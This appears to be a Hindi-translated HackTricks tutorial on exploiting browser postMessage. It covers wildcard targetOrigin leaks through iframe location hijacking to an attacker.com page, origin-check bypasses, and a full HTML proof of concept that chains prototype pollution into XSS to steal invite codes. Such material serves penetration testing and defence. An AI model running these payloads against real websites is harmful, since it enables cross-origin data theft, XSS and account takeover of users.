PostMessage Vulnerabilities

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Send PostMessage

PostMessage संदेश भेजने के लिए निम्नलिखित फ़ंक्शन का उपयोग करता है:

bash
targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

ध्यान दें कि targetOrigin एक '*' या एक URL जैसे https://company.com. हो सकता है।
दूसरे परिदृश्य में, संदेश केवल उस डोमेन पर भेजा जा सकता है (भले ही विंडो ऑब्जेक्ट का मूल अलग हो)।
यदि वाइल्डकार्ड का उपयोग किया जाता है, तो संदेश किसी भी डोमेन पर भेजे जा सकते हैं, और यह विंडो ऑब्जेक्ट के मूल पर भेजे जाएंगे।

targetOrigin में iframe और वाइल्डकार्ड पर हमला

जैसा कि इस रिपोर्ट में बताया गया है, यदि आप एक पृष्ठ पाते हैं जिसे iframed किया जा सकता है (कोई X-Frame-Header सुरक्षा नहीं) और जो संवेदनशील संदेश को postMessage के माध्यम से वाइल्डकार्ड (*) का उपयोग करके भेज रहा है, तो आप iframe के origin को संशोधित कर सकते हैं और संवेदनशील संदेश को एक डोमेन पर लीक कर सकते हैं जिसे आप नियंत्रित करते हैं।
ध्यान दें कि यदि पृष्ठ को iframed किया जा सकता है लेकिन targetOrigin एक URL पर सेट है और वाइल्डकार्ड पर नहीं, तो यह चाल काम नहीं करेगी

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener शोषण

addEventListener वह फ़ंक्शन है जिसका उपयोग JS द्वारा उस फ़ंक्शन को घोषित करने के लिए किया जाता है जो postMessages की उम्मीद कर रहा है
इससे मिलती-जुलती कोड का उपयोग किया जाएगा:

javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

नोट करें कि इस मामले में कोड का पहला काम उत्पत्ति की जांच करना है। यह बहुत महत्वपूर्ण है, खासकर यदि पृष्ठ प्राप्त जानकारी के साथ कोई संवेदनशील कार्य करने जा रहा है (जैसे पासवर्ड बदलना)। यदि यह उत्पत्ति की जांच नहीं करता है, तो हमलावर पीड़ितों को इस एंडपॉइंट्स पर मनमाना डेटा भेजने के लिए मजबूर कर सकते हैं और पीड़ितों के पासवर्ड बदल सकते हैं (इस उदाहरण में)।

गणना

वर्तमान पृष्ठ में इवेंट लिसनर्स खोजने के लिए आप:

  • खोजें JS कोड में window.addEventListener और $(window).on (JQuery संस्करण)
  • निष्पादित करें डेवलपर टूल्स कंसोल में: getEventListeners(window)

  • डेवलपर टूल्स में Elements --> Event Listeners पर जाएं

  • एक ब्राउज़र एक्सटेंशन का उपयोग करें जैसे https://github.com/benso-io/posta या https://github.com/fransr/postMessage-tracker। ये ब्राउज़र एक्सटेंशन सभी संदेशों को इंटरसेप्ट करेंगे और उन्हें आपको दिखाएंगे।

उत्पत्ति जांच बायपास

  • event.isTrusted विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल उन घटनाओं के लिए True लौटाती है जो वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न होती हैं। हालांकि, यदि इसे सही तरीके से लागू किया जाए तो इसे बायपास करना चुनौतीपूर्ण है, इसकी सुरक्षा जांचों में महत्व उल्लेखनीय है।
  • PostMessage घटनाओं में उत्पत्ति सत्यापन के लिए indexOf() का उपयोग बायपास के लिए संवेदनशील हो सकता है। इस भेद्यता को दर्शाने वाला एक उदाहरण है:
javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • String.prototype.search() से search() विधि नियमित अभिव्यक्तियों के लिए है, न कि स्ट्रिंग्स के लिए। नियमित अभिव्यक्ति के अलावा कुछ भी पास करने से नियमित अभिव्यक्ति में निहित परिवर्तन होता है, जिससे यह विधि संभावित रूप से असुरक्षित हो जाती है। इसका कारण यह है कि नियमित अभिव्यक्ति में, एक बिंदु (.) एक वाइल्डकार्ड के रूप में कार्य करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ सत्यापन को बायपास करना संभव हो जाता है। उदाहरण के लिए:
javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() फ़ंक्शन, search() के समान, नियमित अभिव्यक्तियों को संसाधित करता है। यदि नियमित अभिव्यक्ति ठीक से संरचित नहीं है, तो यह बायपास के लिए संवेदनशील हो सकता है।

  • escapeHtml फ़ंक्शन का उद्देश्य इनपुट को स्वच्छ करना है। हालाँकि, यह एक नयाescaped ऑब्जेक्ट नहीं बनाता है बल्कि मौजूदा ऑब्जेक्ट की प्रॉपर्टीज़ को ओवरराइट करता है। इस व्यवहार का शोषण किया जा सकता है। विशेष रूप से, यदि एक ऑब्जेक्ट को इस तरह से हेरफेर किया जा सकता है कि इसकी नियंत्रित प्रॉपर्टी hasOwnProperty को मान्यता नहीं देती है, तो escapeHtml अपेक्षित रूप से कार्य नहीं करेगा। यह नीचे दिए गए उदाहरणों में प्रदर्शित किया गया है:

  • अपेक्षित विफलता:

javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • बायपास करना:
javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

इस भेद्यता के संदर्भ में, File ऑब्जेक्ट अपने पढ़ने योग्य name प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाने पर, इसे escapeHtml फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं।

  • JavaScript में document.domain प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक लचीलेपन की अनुमति मिलती है।

e.origin == window.origin बायपास

जब %%%%%% का उपयोग करके एक सैंडबॉक्स्ड iframe के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति null पर सेट की जाएगी। यह विशेष रूप से सैंडबॉक्स विशेषताओं और उनकी सुरक्षा और कार्यक्षमता पर प्रभाव डालने के संदर्भ में महत्वपूर्ण है।

सैंडबॉक्स विशेषता में allow-popups निर्दिष्ट करने से, iframe के भीतर से खोला गया कोई भी पॉपअप विंडो अपने माता-पिता के सैंडबॉक्स प्रतिबंधों को विरासत में लेता है। इसका मतलब है कि जब तक allow-popups-to-escape-sandbox विशेषता भी शामिल नहीं की जाती, पॉपअप विंडो की उत्पत्ति भी null पर सेट होती है, जो iframe की उत्पत्ति के साथ मेल खाती है।

इसलिए, जब इन परिस्थितियों के तहत एक पॉपअप खोला जाता है और iframe से पॉपअप में postMessage का उपयोग करके एक संदेश भेजा जाता है, तो भेजने और प्राप्त करने वाले दोनों पक्षों की उत्पत्ति null पर सेट होती है। यह स्थिति एक परिदृश्य की ओर ले जाती है जहां e.origin == window.origin सत्यापित होता है (null == null), क्योंकि iframe और पॉपअप दोनों का उत्पत्ति मान null है।

अधिक जानकारी के लिए पढ़ें:

Bypassing SOP with Iframes - 1

e.source को बायपास करना

यह जांचना संभव है कि क्या संदेश उसी विंडो से आया है जिसमें स्क्रिप्ट सुन रही है (विशेष रूप से ब्राउज़र एक्सटेंशनों से सामग्री स्क्रिप्ट्स के लिए यह जांचने के लिए कि क्या संदेश उसी पृष्ठ से भेजा गया था):

javascript
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

आप e.source को null करने के लिए एक iframe बना सकते हैं जो postMessage भेजता है और जिसे तुरंत हटा दिया जाता है

अधिक जानकारी के लिए पढ़ें:

Bypassing SOP with Iframes - 2

X-Frame-Header बायपास

इन हमलों को करने के लिए, आदर्श रूप से आप शिकार वेब पृष्ठ को एक iframe के अंदर रख पाएंगे। लेकिन कुछ हेडर जैसे X-Frame-Header उस व्यवहार को रोक सकते हैं।
उन परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:

html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

बच्चे को भेजे गए संदेश को मुख्य पृष्ठ को ब्लॉक करके चुराना

निम्नलिखित पृष्ठ में आप देख सकते हैं कि आप मुख्य पृष्ठ को डेटा भेजने से पहले ब्लॉक करके सेंसिटिव पोस्टमैसेज डेटा को चाइल्ड आईफ्रेम में कैसे चुरा सकते हैं और चाइल्ड में XSS का दुरुपयोग करके डेटा को लीक कर सकते हैं:

Blocking main page to steal postmessage

आईफ्रेम स्थान को संशोधित करके संदेश चुराना

यदि आप बिना X-Frame-Header के एक वेबपृष्ठ को आईफ्रेम कर सकते हैं जिसमें एक और आईफ्रेम है, तो आप उस चाइल्ड आईफ्रेम का स्थान बदल सकते हैं, इसलिए यदि यह एक पोस्टमैसेज प्राप्त कर रहा है जो वाइल्डकार्ड का उपयोग करके भेजा गया है, तो एक हमलावर उस आईफ्रेम का उत्पत्ति एक पृष्ठ में बदल सकता है जो उसके द्वारा नियंत्रित है और संदेश को चुरा सकता है:

Steal postmessage modifying iframe location

postMessage से प्रोटोटाइप प्रदूषण और/या XSS

ऐसे परिदृश्यों में जहां postMessage के माध्यम से भेजा गया डेटा JS द्वारा निष्पादित होता है, आप पृष्ठ को आईफ्रेम कर सकते हैं और प्रोटोटाइप प्रदूषण/XSS का दुरुपयोग कर सकते हैं, जो कि postMessage के माध्यम से एक्सप्लॉइट भेजकर किया जाता है।

कुछ बहुत अच्छे समझाए गए XSS postMessage के माध्यम से https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html में पाए जा सकते हैं।

एक एक्सप्लॉइट का उदाहरण जो प्रोटोटाइप प्रदूषण और फिर XSS का दुरुपयोग करता है postMessage के माध्यम से एक iframe में:

html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

अधिक जानकारी के लिए:

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें